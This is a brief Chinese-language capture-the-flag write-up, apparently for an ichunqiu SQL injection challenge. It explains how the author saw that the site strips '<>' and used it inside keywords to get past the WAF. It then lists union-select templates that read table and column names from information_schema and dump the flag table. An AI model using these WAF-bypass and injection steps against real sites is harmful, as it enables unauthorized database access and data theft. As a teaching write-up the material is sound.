解题过程
观察
- url就一个参数id,页面提示信息
flag{在数据库中}
- 提交
%20and%201=1
被ichunqiu的waf拦截 - 提交
and%201=1
页面提示inj code!
- 观察页面源码可以看到当前所执行的SQL语句
测试
- 试验一堆字符,测试得到<>直接被过滤,便绕过waf和注入判定
注入
$字段个数 = order by num
$可见的字段=union select 1,2,....,n
$表名=union select 1,group_concat(table_name),....n from information_schema.tables where table_schema=database()
$列名=union select 1,group_concat(column_name),....n from information_schema.columns where table_name=0x$表名的十六进制
union select 1,$列名,....n from $表名
Payload
- 利用<>插入在关键字当中绕过过滤
知识小结
- mysql中group_concat函数的使用
- mysql5.0以上版本的information_schema库
- waf花式绕过